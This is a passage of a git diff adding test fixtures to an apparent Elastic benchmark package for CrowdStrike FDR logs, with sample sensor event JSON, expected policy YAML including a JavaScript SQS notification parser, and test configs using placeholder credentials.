+                "original": "{\"event_simpleName\":\"SensorAntiTamperState\",\"ConfigStateHash\":\"1442922594\",\"ConfigBuild\":\"1007.3.0019907.15\",\"AntiTamperStateFlag\":\"9\",\"event_platform\":\"Win\",\"Entitlements\":\"15\",\"name\":\"SensorAntiTamperStateV1\",\"EventOrigin\":\"17\",\"ComputerName\":\"win10-qwe-3\",\"id\":\"8bee55a5-f768-48b9-ab4c-614a1283a58a\",\"EffectiveTransmissionClass\":\"0\",\"aid\":\"cdbfd7c3bab5478d935db9969b5886cc\",\"timestamp\":\"1757648518836\"}",
+                "type": [
+                    "info"
+                ]
+            },
+            "host": {
+                "hostname": "win10-qwe-3",
+                "id": "cdbfd7c3bab5478d935db9969b5886cc",
+                "name": "win10-qwe-3",
+                "os": {
+                    "type": "windows"
+                }
+            },
+            "message": "SensorAntiTamperState",
+            "observer": {
+                "serial_number": "cdbfd7c3bab5478d935db9969b5886cc",
+                "version": "1007.3.0019907.15"
+            },
+            "related": {
+                "hash": [
+                    "1442922594"
+                ],
+                "hosts": [
+                    "win10-qwe-3"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ]
+        },
+        {
+            "@timestamp": "2025-09-12T03:41:58.836Z",
+            "crowdstrike": {
+                "ConfigStateHash": "1442922594",
+                "EffectiveTransmissionClass": "0",
+                "Entitlements": "15",
+                "EventOrigin": "17",
+                "Flags": "0",
+                "RTRState": "1",
+                "id": "c188e104-d940-46af-aed8-acf5086fc187",
+                "name": "SensorSettingsUpdateV1"
+            },
+            "device": {
+                "id": "cdbfd7c3bab5478d935db9969b5886cc"
+            },
+            "event": {
+                "action": "SensorSettingsUpdate",
+                "category": [
+                    "configuration"
+                ],
+                "created": "2025-09-12T03:41:58.836Z",
+                "id": "c188e104-d940-46af-aed8-acf5086fc187|cdbfd7c3bab5478d935db9969b5886cc|",
+                "kind": "event",
+                "original": "{\"event_simpleName\":\"SensorSettingsUpdate\",\"RTRState\":\"1\",\"ConfigStateHash\":\"1442922594\",\"Flags\":\"0\",\"ConfigBuild\":\"1007.3.0019907.15\",\"event_platform\":\"Win\",\"Entitlements\":\"15\",\"name\":\"SensorSettingsUpdateV1\",\"EventOrigin\":\"17\",\"ComputerName\":\"win10-qwe-3\",\"id\":\"c188e104-d940-46af-aed8-acf5086fc187\",\"EffectiveTransmissionClass\":\"0\",\"aid\":\"cdbfd7c3bab5478d935db9969b5886cc\",\"timestamp\":\"1757648518836\"}",
+                "type": [
+                    "change"
+                ]
+            },
+            "host": {
+                "hostname": "win10-qwe-3",
+                "id": "cdbfd7c3bab5478d935db9969b5886cc",
+                "name": "win10-qwe-3",
+                "os": {
+                    "type": "windows"
+                }
+            },
+            "message": "SensorSettingsUpdate",
+            "observer": {
+                "serial_number": "cdbfd7c3bab5478d935db9969b5886cc",
+                "version": "1007.3.0019907.15"
+            },
+            "related": {
+                "hash": [
+                    "1442922594"
+                ],
+                "hosts": [
+                    "win10-qwe-3"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ]
+        },
+        {
+            "@timestamp": "2025-09-14T03:13:30.498Z",
+            "crowdstrike": {
+                "ConfigStateHash": "1694325680",
+                "EffectiveTransmissionClass": "0",
+                "Entitlements": "15",
+                "ErrorCode": "0",
+                "EventOrigin": "17",
+                "ServiceCurrentState": "4",
+                "id": "37ddccdf-594d-4224-97de-e784822466f4",
+                "name": "ServicesStatusInfoV1"
+            },
+            "device": {
+                "id": "cdbfd7c3bab5478d935db9969b5886cc"
+            },
+            "event": {
+                "action": "ServicesStatusInfo",
+                "category": [
+                    "configuration"
+                ],
+                "created": "2025-09-14T03:13:30.498Z",
+                "id": "37ddccdf-594d-4224-97de-e784822466f4|cdbfd7c3bab5478d935db9969b5886cc|",
+                "kind": "state",
+                "original": "{\"event_simpleName\":\"ServicesStatusInfo\",\"ConfigStateHash\":\"1694325680\",\"ServiceDisplayName\":\"spooler\",\"ConfigBuild\":\"1007.3.0019907.15\",\"event_platform\":\"Win\",\"Entitlements\":\"15\",\"name\":\"ServicesStatusInfoV1\",\"EventOrigin\":\"17\",\"ComputerName\":\"win10-qwe-3\",\"id\":\"37ddccdf-594d-4224-97de-e784822466f4\",\"ErrorCode\":\"0\",\"EffectiveTransmissionClass\":\"0\",\"aid\":\"cdbfd7c3bab5478d935db9969b5886cc\",\"timestamp\":\"1757819610498\",\"ServiceCurrentState\":\"4\"}",
+                "type": [
+                    "info"
+                ]
+            },
+            "host": {
+                "hostname": "win10-qwe-3",
+                "id": "cdbfd7c3bab5478d935db9969b5886cc",
+                "name": "win10-qwe-3",
+                "os": {
+                    "type": "windows"
+                }
+            },
+            "message": "ServicesStatusInfo",
+            "observer": {
+                "serial_number": "cdbfd7c3bab5478d935db9969b5886cc",
+                "version": "1007.3.0019907.15"
+            },
+            "process": {
+                "title": "spooler"
+            },
+            "related": {
+                "hash": [
+                    "1694325680"
+                ],
+                "hosts": [
+                    "win10-qwe-3"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ]
+        },
+        {
+            "@timestamp": "2025-10-30T08:12:33.235Z",
+            "crowdstrike": {
+                "Attacks": [
+                    {
+                        "Tactic": "Defense Evasion",
+                        "Technique": "Obfuscated Files or Information"
+                    }
+                ],
+                "AuthenticationId": "999",
+                "BoundingLimitCount": 5,
+                "BoundingLimitDuration": "3600000",
+                "ConfigStateHash": "1146505100",
+                "ContextProcessId": "111845303038",
+                "ContextTimeStamp": "2025-10-30T08:12:32.620Z",
+                "EffectiveTransmissionClass": "3",
+                "Entitlements": "15",
+                "EventOrigin": "1",
+                "FileEcpBitmask": "0",
+                "ShannonEntropy": "932",
+                "id": "fc10d190-e98f-45fc-bb2a-ca60d3534a2a",
+                "name": "FileWrittenWithEntropyHighV2"
+            },
+            "device": {
+                "id": "bae5bafaeb93295d398bf55b8ba1cf01"
+            },
+            "event": {
+                "action": "FileWrittenWithEntropyHigh",
+                "category": [
+                    "file"
+                ],
+                "created": "2025-10-30T08:12:33.235Z",
+                "id": "fc10d190-e98f-45fc-bb2a-ca60d3534a2a|bae5bafaeb93295d398bf55b8ba1cf01|",
+                "kind": "event",
+                "original": "{\"event_simpleName\":\"FileWrittenWithEntropyHigh\",\"Size\":\"12216\",\"ShannonEntropy\":\"932\",\"BoundingLimitCount\":\"5\",\"event_platform\":\"Win\",\"EventOrigin\":\"1\",\"id\":\"fc10d190-e98f-45fc-bb2a-ca60d3534a2a\",\"EffectiveTransmissionClass\":\"3\",\"timestamp\":\"1761811953235\",\"ContextTimeStamp\":\"1761811952.620\",\"ConfigStateHash\":\"1146505100\",\"ContextProcessId\":\"111845303038\",\"AuthenticationId\":\"999\",\"ConfigBuild\":\"1007.3.0019907.15\",\"FileEcpBitmask\":\"0\",\"BoundingLimitDuration\":\"3600000\",\"Entitlements\":\"15\",\"name\":\"FileWrittenWithEntropyHighV2\",\"ComputerName\":\"win10-qwe-3\",\"Attacks\":[{\"Tactic\":\"Defense Evasion\",\"Technique\":\"Obfuscated Files or Information\"}],\"aid\":\"bae5bafaeb93295d398bf55b8ba1cf01\",\"TargetFileName\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\Temp\\\\APPX.fb9inon0wlj06bji0gujvuvcd.tmp\"}",
+                "outcome": "success",
+                "type": [
+                    "creation"
+                ]
+            },
+            "file": {
+                "directory": "\\Device\\HarddiskVolume4\\Windows\\Temp",
+                "extension": "tmp",
+                "name": "APPX.fb9inon0wlj06bji0gujvuvcd.tmp",
+                "path": "\\Device\\HarddiskVolume4\\Windows\\Temp\\APPX.fb9inon0wlj06bji0gujvuvcd.tmp",
+                "size": 12216,
+                "type": "file"
+            },
+            "host": {
+                "hostname": "win10-qwe-3",
+                "id": "bae5bafaeb93295d398bf55b8ba1cf01",
+                "name": "win10-qwe-3",
+                "os": {
+                    "type": "windows"
+                }
+            },
+            "message": "FileWrittenWithEntropyHigh",
+            "observer": {
+                "serial_number": "bae5bafaeb93295d398bf55b8ba1cf01",
+                "version": "1007.3.0019907.15"
+            },
+            "process": {
+                "entity_id": "111845303038"
+            },
+            "related": {
+                "hash": [
+                    "1146505100"
+                ],
+                "hosts": [
+                    "win10-qwe-3"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ],
+            "threat": {
+                "tactic": {
+                    "name": [
+                        "Defense Evasion"
+                    ]
+                },
+                "technique": {
+                    "name": [
+                        "Obfuscated Files or Information"
+                    ]
+                }
+            }
+        },
+        {
+            "@timestamp": "2025-08-19T21:24:04.187Z",
+            "crowdstrike": {
+                "AssemblyFlags": "0",
+                "AssemblyId": "1825020243168",
+                "AssemblyName": "vezhsq1h, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null",
+                "ConfigStateHash": "3064617115",
+                "ContextProcessId": "11708829302",
+                "ContextTimeStamp": "2025-08-19T21:23:57.713Z",
+                "DotnetModuleFlags": "8",
+                "DotnetModuleId": "140707789195504",
+                "EffectiveTransmissionClass": "3",
+                "Entitlements": "15",
+                "EtwProviderType": "2",
+                "EventOrigin": "1",
+                "ImageFileName": "\\Device\\HarddiskVolume3\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe",
+                "ModuleILPath": "vezhsq1h",
+                "id": "b089f099-ffac-44fd-9efe-e1bc148214ee",
+                "name": "ReflectiveDotnetModuleLoadV2"
+            },
+            "device": {
+                "id": "cdbfd7c3bab5478d935db9969b5886cc"
+            },
+            "dll": {
+                "name": "powershell.exe"
+            },
+            "event": {
+                "action": "ReflectiveDotnetModuleLoad",
+                "category": [
+                    "library"
+                ],
+                "created": "2025-08-19T21:24:04.187Z",
+                "id": "b089f099-ffac-44fd-9efe-e1bc148214ee|cdbfd7c3bab5478d935db9969b5886cc|",
+                "kind": "event",
+                "original": "{\"event_simpleName\":\"ReflectiveDotnetModuleLoad\",\"AssemblyName\":\"vezhsq1h, Version\\u003d0.0.0.0, Culture\\u003dneutral, PublicKeyToken\\u003dnull\",\"ModuleNativePath\":\"\",\"NativePdbBuildPath\":\"\",\"event_platform\":\"Win\",\"DotnetModuleFlags\":\"8\",\"DotnetModuleId\":\"140707789195504\",\"EventOrigin\":\"1\",\"id\":\"b089f099-ffac-44fd-9efe-e1bc148214ee\",\"EffectiveTransmissionClass\":\"3\",\"timestamp\":\"1755638644187\",\"ManagedPdbBuildPath\":\"\",\"ContextTimeStamp\":\"1755638637.713\",\"ConfigStateHash\":\"3064617115\",\"ContextProcessId\":\"11708829302\",\"AssemblyFlags\":\"0\",\"EtwProviderType\":\"2\",\"ConfigBuild\":\"1007.3.0019907.15\",\"CommandLine\":\"\\\"C:\\\\WINDOWS\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe\\\"\",\"ImageFileName\":\"\\\\Device\\\\HarddiskVolume3\\\\Windows\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe\",\"Entitlements\":\"15\",\"name\":\"ReflectiveDotnetModuleLoadV2\",\"AssemblyId\":\"1825020243168\",\"aid\":\"cdbfd7c3bab5478d935db9969b5886cc\",\"ModuleILPath\":\"vezhsq1h\"}",
+                "type": [
+                    "start"
+                ]
+            },
+            "host": {
+                "id": "cdbfd7c3bab5478d935db9969b5886cc",
+                "os": {
+                    "type": "windows"
+                }
+            },
+            "message": "ReflectiveDotnetModuleLoad",
+            "observer": {
+                "serial_number": "cdbfd7c3bab5478d935db9969b5886cc",
+                "version": "1007.3.0019907.15"
+            },
+            "process": {
+                "args": [
+                    "C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\powershell.exe"
+                ],
+                "args_count": 1,
+                "command_line": "\"C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\"",
+                "entity_id": "11708829302"
+            },
+            "related": {
+                "hash": [
+                    "3064617115"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ]
+        },
+        {
+            "@timestamp": "2025-09-11T13:33:38.983Z",
+            "crowdstrike": {
+                "AuthenticationId": "996",
+                "ConfigStateHash": "3591479077",
+                "ContextProcessId": "90332841484",
+                "ContextTimeStamp": "2025-09-11T13:33:38.424Z",
+                "DesiredAccess": "2097151",
+                "EffectiveTransmissionClass": "3",
+                "Entitlements": "15",
+                "EventOrigin": "1",
+                "HandleCreated": "0",
+                "IntegrityLevel": "16384",
+                "TargetAuthenticationId": "996",
+                "TargetIntegrityLevel": "16384",
+                "id": "87902694-15af-4692-b1e2-bf7fba80b272",
+                "name": "SuspiciousPrivilegedProcessHandleV2"
+            },
+            "device": {
+                "id": "cdbfd7c3bab5478d935db9969b5886cc"
+            },
+            "event": {
+                "action": "SuspiciousPrivilegedProcessHandle",
+                "category": [
+                    "process"
+                ],
+                "created": "2025-09-11T13:33:38.983Z",
+                "id": "87902694-15af-4692-b1e2-bf7fba80b272|cdbfd7c3bab5478d935db9969b5886cc|",
+                "kind": "event",
+                "original": "{\"event_simpleName\":\"SuspiciousPrivilegedProcessHandle\",\"IntegrityLevel\":\"16384\",\"ContextThreadId\":\"1217210494023\",\"TargetIntegrityLevel\":\"16384\",\"event_platform\":\"Win\",\"SuspiciousHandleOpenReason\":\"2\",\"EventOrigin\":\"1\",\"id\":\"87902694-15af-4692-b1e2-bf7fba80b272\",\"HandleCreated\":\"0\",\"EffectiveTransmissionClass\":\"3\",\"timestamp\":\"1757597618983\",\"ContextTimeStamp\":\"1757597618.424\",\"ConfigStateHash\":\"3591479077\",\"ContextProcessId\":\"90332841484\",\"AuthenticationId\":\"996\",\"ConfigBuild\":\"1007.3.0019907.15\",\"TargetProcessId\":\"90365065195\",\"DesiredAccess\":\"2097151\",\"Entitlements\":\"15\",\"name\":\"SuspiciousPrivilegedProcessHandleV2\",\"ComputerName\":\"win10-qwe-3\",\"aid\":\"cdbfd7c3bab5478d935db9969b5886cc\",\"TargetAuthenticationId\":\"996\"}",
+                "reason": "2",
+                "type": [
+                    "info"
+                ]
+            },
+            "host": {
+                "hostname": "win10-qwe-3",
+                "id": "cdbfd7c3bab5478d935db9969b5886cc",
+                "name": "win10-qwe-3",
+                "os": {
+                    "type": "windows"
+                }
+            },
+            "message": "SuspiciousPrivilegedProcessHandle",
+            "observer": {
+                "serial_number": "cdbfd7c3bab5478d935db9969b5886cc",
+                "version": "1007.3.0019907.15"
+            },
+            "process": {
+                "Ext": {
+                    "token": {
+                        "integrity_level_name": "SYSTEM"
+                    }
+                },
+                "entity_id": "90365065195",
+                "thread": {
+                    "id": 1217210494023
+                }
+            },
+            "related": {
+                "hash": [
+                    "3591479077"
+                ],
+                "hosts": [
+                    "win10-qwe-3"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ]
+        }
+    ]
+}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/policy/test-default.expected b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/policy/test-default.expected
new file mode 100644
index 0000000000..ea1547544d
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/policy/test-default.expected
@@ -0,0 +1,250 @@
+inputs:
+    - data_stream:
+        namespace: ep
+      meta:
+        package:
+            name: crowdstrike
+      name: test-default-crowdstrike
+      streams:
+        - data_stream:
+            dataset: crowdstrike.fdr
+          fields:
+            _conf:
+                enable_deduplication: false
+                long_fields: index_long_fields
+                long_fields_max_length: 1024
+                prune_fields: true
+          fields_under_root: true
+          max_number_of_messages: 5
+          number_of_workers: 5
+          processors:
+            - add_locale: null
+            - decode_json_fields:
+                fields: message
+                target: crowdstrike
+            - else:
+                - else:
+                    - cache:
+                        backend:
+                            file:
+                                id: aidmaster
+                        get:
+                            ignore_missing: true
+                            key_field: crowdstrike.aid
+                            target_field: metadata.host
+                    - cache:
+                        backend:
+                            file:
+                                id: userinfo
+                        get:
+                            ignore_missing: true
+                            key_field: crowdstrike.UserSid
+                            target_field: metadata.user
+                  if:
+                    contains:
+                        log.file.path: userinfo
+                  then:
+                    - cache:
+                        backend:
+                            capacity: 0
+                            file:
+                                id: userinfo
+                                write_interval: 0
+                        put:
+                            ignore_missing: true
+                            key_field: crowdstrike.UserSid_readable
+                            ttl: 168h
+                            value_field: crowdstrike
+                    - drop_event:
+                        when:
+                            contains:
+                                log.file.path: userinfo
+              if:
+                contains:
+                    log.file.path: aidmaster
+              then:
+                - cache:
+                    backend:
+                        capacity: 0
+                        file:
+                            id: aidmaster
+                            write_interval: 0
+                    put:
+                        ignore_missing: true
+                        key_field: crowdstrike.aid
+                        ttl: 168h
+                        value_field: crowdstrike
+                - drop_event:
+                    when:
+                        contains:
+                            log.file.path: aidmaster
+            - drop_fields:
+                fields:
+                    - crowdstrike
+          publisher_pipeline.disable_host: true
+          queue_url: ""
+          sqs.notification_parsing_script.source: |
+            function parse(n) {
+              var m = JSON.parse(n);
+              var evts = [];
+              var files = m.files;
+              var bucket = m.bucket;
+              var records = m.Records;
+              var message = m.Message;
+              var topic_arn = m.TopicArn;
+              // Checks if not FDR queue
+              if (!Array.isArray(files) || (files.length == 0) || bucket == null || bucket == "") {
+                // Checks if event notification is S3 -> SQS or S3 -> SNS -> SQS.
+                if ((records != null && records.length != 0) || (message != null && topic_arn != null)) {
+                  // When notification is from S3 -> SNS -> SQS, records need to be extracted from message.
+                  if (records == null || records.length == 0) {
+                    var p = JSON.parse(message);
+                    records = p.Records;
+                  }
+                  if (records != null && records.length != 0) {
+                    records.forEach(function(f){
+                      if (f.s3 && f.s3.bucket && f.s3.bucket.name && f.s3.object && f.s3.object.key) {
+                        var evt = new S3EventV2();
+                        evt.SetS3BucketName(f.s3.bucket.name);
+                        evt.SetS3ObjectKey(f.s3.object.key);
+                        if (f.s3.bucket.arn) {
+                          evt.SetS3BucketARN(f.s3.bucket.arn);
+                        }
+                        if (f.awsRegion) {
+                          evt.SetAWSRegion(f.awsRegion);
+                        }
+                        if (f.eventName) {
+                          evt.SetEventName(f.eventName);
+                        }
+                        if (f.eventSource) {
+                          evt.SetEventSource(f.eventSource);
+                        }
+                        evts.push(evt);
+                      }
+                    });
+                  }
+                }
+                // Checks if event notification is S3 -> EventBridge -> SQS
+                else if (m.detail != null && m.detail.bucket != null && m.detail.object != null && m.detail.bucket.name != null && m.detail.object.key != null) {
+                  var evt = new S3EventV2();
+                  evt.SetS3BucketName(m.detail.bucket.name);
+                  evt.SetS3ObjectKey(m.detail.object.key);
+                  if (Array.isArray(m.resources) && m.resources.length > 0) {
+                    evt.SetS3BucketARN(m.resources[0]);
+                  }
+                  if (m.source != null && m.source == "aws.s3") {
+                    evt.SetEventSource("aws:s3");
+                  }
+                  if (m['detail-type'] == "Object Created") {
+                    evt.SetEventName("ObjectCreated:Put");
+                  }
+                  evts.push(evt);
+                }
+              } else {
+                // FDR queue
+                files.sort(function(a, b) {
+                  var isMetadata = function(a) {
+                    return a.path && ((a.path.indexOf("aidmaster") !== -1) || (a.path.indexOf("userinfo") !== -1));
+                  };
+                  var cmp = function(a, b) {
+                    if (a < b) {
+                      return -1;
+                    }
+                    if (a > b) {
+                      return 1;
+                    }
+                    return 0;
+                  };
+                  if (isMetadata(a) === isMetadata(b)) {
+                    return cmp(a.path, b.path);
+                  }
+                  if (isMetadata(a)) {
+                    return -1;
+                  }
+                  return 1;
+                });
+                files.forEach(function(f){
+                  var evt = new S3EventV2();
+                  evt.SetS3BucketName(bucket);
+                  evt.SetS3ObjectKey(f.path);
+                  evts.push(evt);
+                });
+              }
+              return evts;
+            }
+            function test() {
+              // Test FDR queue
+              var fdrEvents = parse("{\"bucket\":\"fdrBucket\",\"files\":[{\"path\":\"prefix/aidmaster\",\"size\":89118480,\"checksum\":\"d0f566f37295e46f28c75f71ddce9422\"},{\"path\":\"prefix/data\"}]}");
+              if (fdrEvents.length !== 2) {
+                throw "expecting two events";
+              }
+              if (fdrEvents[0].S3.Bucket.Name !== "fdrBucket") {
+                  throw "expected bucket === fdrBucket";
+              }
+              if (fdrEvents[0].S3.Object.Key !== "prefix/aidmaster") {
+                  throw "expected object key === prefix/aidmaster";
+              }
+              if (fdrEvents[1].S3.Object.Key !== "prefix/data") {
+                  throw "expected object key === prefix/data";
+              }
+              // Test S3 -> SQS
+              var sqsEvents = parse("{\"Records\":[{\"eventVersion\":\"2.1\",\"eventSource\":\"aws:s3\",\"awsRegion\":\"us-west-2\",\"eventTime\":\"2025-05-27T11:38:32.511Z\",\"eventName\":\"ObjectCreated:Put\",\"userIdentity\":{\"principalId\":\"AWS:DKASHW31673218\"},\"requestParameters\":{\"sourceIPAddress\":\"81.2.69.142\"},\"responseElements\":{\"x-amz-request-id\":\"adqw312EASDS\",\"x-amz-id-2\":\"SD312ESDAD/ASDASDQX1E21XE/6aeP0eHq4aYCvF\"},\"s3\":{\"s3SchemaVersion\":\"1.0\",\"configurationId\":\"test-sqs-cs-s3-evt-notif-sqs\",\"bucket\":{\"name\":\"test-sqs-cs-s3\",\"ownerIdentity\":{\"principalId\":\"321DSAVDW2E1\"},\"arn\":\"arn:aws:s3:::test-sqs-cs-s3\"},\"object\":{\"key\":\"fdr-sample.log\",\"size\":114782,\"eTag\":\"41cdbd1843a4c49ef0255e2ccd48cb9d\",\"sequencer\":\"006835A4387B4406AF\"}}}]}");
+              if (sqsEvents.length !== 1) {
+                throw "expecting one events";
+              }
+              if (sqsEvents[0].S3.Bucket.Name !== "test-sqs-cs-s3") {
+                  throw "expected bucket === test-sqs-cs-s3";
+              }
+              if (sqsEvents[0].S3.Bucket.ARN !== "arn:aws:s3:::test-sqs-cs-s3") {
+                  throw "expected Bucket ARN === arn:aws:s3:::test-sqs-cs-s3";
+              }
+              if (sqsEvents[0].S3.Object.Key !== "fdr-sample.log") {
+                  throw "expected object key === fdr-sample.log";
+              }
+              // Test S3 -> SNS -> SQS
+              var snsEvents = parse("{\"Type\": \"Notification\",\"MessageId\": \"1066e639-8697-5211-9bbe-86a369b14af5\",\"TopicArn\": \"arn:aws:sns:us-east-2:11111111111:test-crowds-sns\",\"Subject\": \"Amazon S3 Notification\",\"Message\": \"{\\\"Records\\\":[{\\\"eventVersion\\\":\\\"2.1\\\",\\\"eventSource\\\":\\\"aws:s3\\\",\\\"awsRegion\\\":\\\"us-east-2\\\",\\\"eventTime\\\":\\\"2025-05-11T18:31:01.609Z\\\",\\\"eventName\\\":\\\"ObjectCreated:Put\\\",\\\"userIdentity\\\":{\\\"principalId\\\":\\\"AWS:PRINCIPALID\\\"},\\\"requestParameters\\\":{\\\"sourceIPAddress\\\":\\\"81.2.69.192\\\"},\\\"responseElements\\\":{\\\"x-amz-request-id\\\":\\\"dsaddwqdqd\\\",\\\"x-amz-id-2\\\":\\\"w1esdasdadpY=\\\"},\\\"s3\\\":{\\\"s3SchemaVersion\\\":\\\"1.0\\\",\\\"configurationId\\\":\\\"test-crowds-s3-notif\\\",\\\"bucket\\\":{\\\"name\\\":\\\"test-crowds-s3-buck\\\",\\\"ownerIdentity\\\":{\\\"principalId\\\":\\\"asdascedqwdq\\\"},\\\"arn\\\":\\\"arn:aws:s3:::test-crowds-s3-buck\\\"},\\\"object\\\":{\\\"key\\\":\\\"fdr-0_userinfo.log\\\",\\\"size\\\":489,\\\"eTag\\\":\\\"349c96ed5531edce2233ad417123736d\\\",\\\"sequencer\\\":\\\"006820ECE595B767EC\\\"}}}]}\",\"Timestamp\": \"2025-05-11T18:31:02.037Z\",\"SignatureVersion\": \"1\",\"Signature\": \"W131adsfwefQSF223SAsdddsaas+dsdadfadqweweweaxaDSCQQW==\",\"SigningCertURL\": \"https://sns.us-east-2.amazonaws.com/SimpleNotificationService-9c6465fa7f48f5cacd23014631ec1136.pem\",\"UnsubscribeURL\": \"https://sns.us-east-2.amazonaws.com/?Action=Unsubscribe&SubscriptionArn=arn:aws:sns:us-east-2:11111111111:test-crowds-sns:c2e6ff87-e009-4694-866a-5ceb79691a01\"}");
+              if (snsEvents.length !== 1) {
+                throw "expecting one events";
+              }
+              if (snsEvents[0].S3.Bucket.Name !== "test-crowds-s3-buck") {
+                  throw "expected bucket === test-crowds-s3-buck";
+              }
+              if (snsEvents[0].AWSRegion !== "us-east-2") {
+                  throw "expected AWS region === us-east-2";
+              }
+              // Test S3 -> EventBridge -> SQS
+              var ebEvents = parse("{\"version\":\"0\",\"id\":\"78fee647-ef01-0e61-507f-d19baef343f5\",\"detail-type\":\"Object Created\",\"source\":\"aws.s3\",\"account\":\"11111111111\",\"time\":\"2025-05-11T19:26:39Z\",\"region\":\"ap-south-1\",\"resources\":[\"arn:aws:s3:::test-eb-crowds-s3-buck\"],\"detail\":{\"version\":\"0\",\"bucket\":{\"name\":\"test-eb-crowds-s3-buck\"},\"object\":{\"key\":\"fdr-0_aidmaster.log\",\"size\":4414,\"etag\":\"a06a88462e6950f0be3bb83230047e87\",\"sequencer\":\"006820F9EF8D8284D4\"},\"request-id\":\"321987SDASD1W9\",\"requester\":\"11111111111\",\"source-ip-address\":\"89.160.20.128\",\"reason\":\"PutObject\"}}");
+              if (ebEvents.length !== 1) {
+                throw "expecting one events";
+              }
+              if (ebEvents[0].S3.Bucket.Name !== "test-eb-crowds-s3-buck") {
+                  throw "expected bucket === test-eb-crowds-s3-buck";
+              }
+              if (ebEvents[0].S3.Bucket.ARN !== "arn:aws:s3:::test-eb-crowds-s3-buck") {
+                  throw "expected Bucket ARN === arn:aws:s3:::test-eb-crowds-s3-buck";
+              }
+              if (ebEvents[0].S3.Object.Key !== "fdr-0_aidmaster.log") {
+                  throw "expected object key === fdr-0_aidmaster.log";
+              }
+            }
+          tags:
+            - preserve_original_event
+            - forwarded
+            - crowdstrike-fdr
+      type: aws-s3
+      use_output: default
+output_permissions:
+    default:
+        _elastic_agent_checks:
+            cluster:
+                - monitor
+        _elastic_agent_monitoring:
+            indices: []
+        uuid-for-permissions-on-related-indices:
+            indices:
+                - names:
+                    - logs-crowdstrike.fdr-ep
+                  privileges:
+                    - auto_configure
+                    - create_doc
+secret_references: []
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/policy/test-default.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/policy/test-default.yml
new file mode 100644
index 0000000000..7595be8d1b
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/policy/test-default.yml
@@ -0,0 +1,10 @@
+vars:
+  url: http://host.tld
+  client_id: test_client_id
+  client_secret: test_client_secret
+  token_url: http://host.tld/oauth2/token
+data_stream:
+  vars:
+    queue_url: ""
+    preserve_original_event: true
+    preserve_duplicate_custom_fields: true
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/system/test-default-config.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/system/test-default-config.yml
new file mode 100644
index 0000000000..8c4c210dbb
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/system/test-default-config.yml
@@ -0,0 +1,16 @@
+input: aws-s3
+skip_ignored_fields:
+  - crowdstrike.ConfigStateData
+  - crowdstrike.FeatureVector
+  - crowdstrike.OSVersionFileData
+  - process.command_line
+data_stream:
+  vars:
+    access_key_id: "{{AWS_ACCESS_KEY_ID}}"
+    secret_access_key: "{{AWS_SECRET_ACCESS_KEY}}"
+    session_token: "{{AWS_SESSION_TOKEN}}"
+    queue_url: "{{TF_OUTPUT_queue_url}}"
+    preserve_original_event: true
+    enable_deduplication: true
+assert:
+  hit_count: 127
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/agent/stream/aws-s3.yml.hbs b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/agent/stream/aws-s3.yml.hbs
new file mode 100644
index 0000000000..c2c2153f9e
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/agent/stream/aws-s3.yml.hbs
@@ -0,0 +1,283 @@
+queue_url: {{queue_url}}
+{{#if credential_profile_name}}
+credential_profile_name: {{credential_profile_name}}
+{{/if}}
+{{#if shared_credential_file}}
+shared_credential_file: {{shared_credential_file}}
+{{/if}}
+{{#if visibility_timeout}}
+visibility_timeout: {{visibility_timeout}}
+{{/if}}
+{{#if api_timeout}}
+api_timeout: {{api_timeout}}
+{{/if}}
+{{#if max_number_of_messages}}
+max_number_of_messages: {{max_number_of_messages}}
+{{/if}}
+{{#if number_of_workers}}
+number_of_workers: {{number_of_workers}}
+{{/if}}
+{{#if endpoint}}
+endpoint: {{endpoint}}
+{{/if}}
+{{#if default_region}}
+default_region: {{default_region}}
+{{/if}}
+{{#if access_key_id}}
+access_key_id: {{access_key_id}}
+{{/if}}
+{{#if secret_access_key}}
+secret_access_key: {{secret_access_key}}
+{{/if}}
+{{#if session_token}}
+session_token: {{session_token}}
+{{/if}}
+{{#if role_arn}}
+role_arn: {{role_arn}}
+{{/if}}
+{{#if fips_enabled}}
+fips_enabled: {{fips_enabled}}
+{{/if}}
+{{#if proxy_url }}
+proxy_url: {{proxy_url}}
+{{/if}}
+sqs.notification_parsing_script.source: |
+  function parse(n) {
+    var m = JSON.parse(n);
+    var evts = [];
+    var files = m.files;
+    var bucket = m.bucket;
+    var records = m.Records;
+    var message = m.Message;
+    var topic_arn = m.TopicArn;
+    // Checks if not FDR queue
+    if (!Array.isArray(files) || (files.length == 0) || bucket == null || bucket == "") {
+      // Checks if event notification is S3 -> SQS or S3 -> SNS -> SQS.
+      if ((records != null && records.length != 0) || (message != null && topic_arn != null)) {
+        // When notification is from S3 -> SNS -> SQS, records need to be extracted from message.
+        if (records == null || records.length == 0) {
+          var p = JSON.parse(message);
+          records = p.Records;
+        }
+        if (records != null && records.length != 0) {
+          records.forEach(function(f){
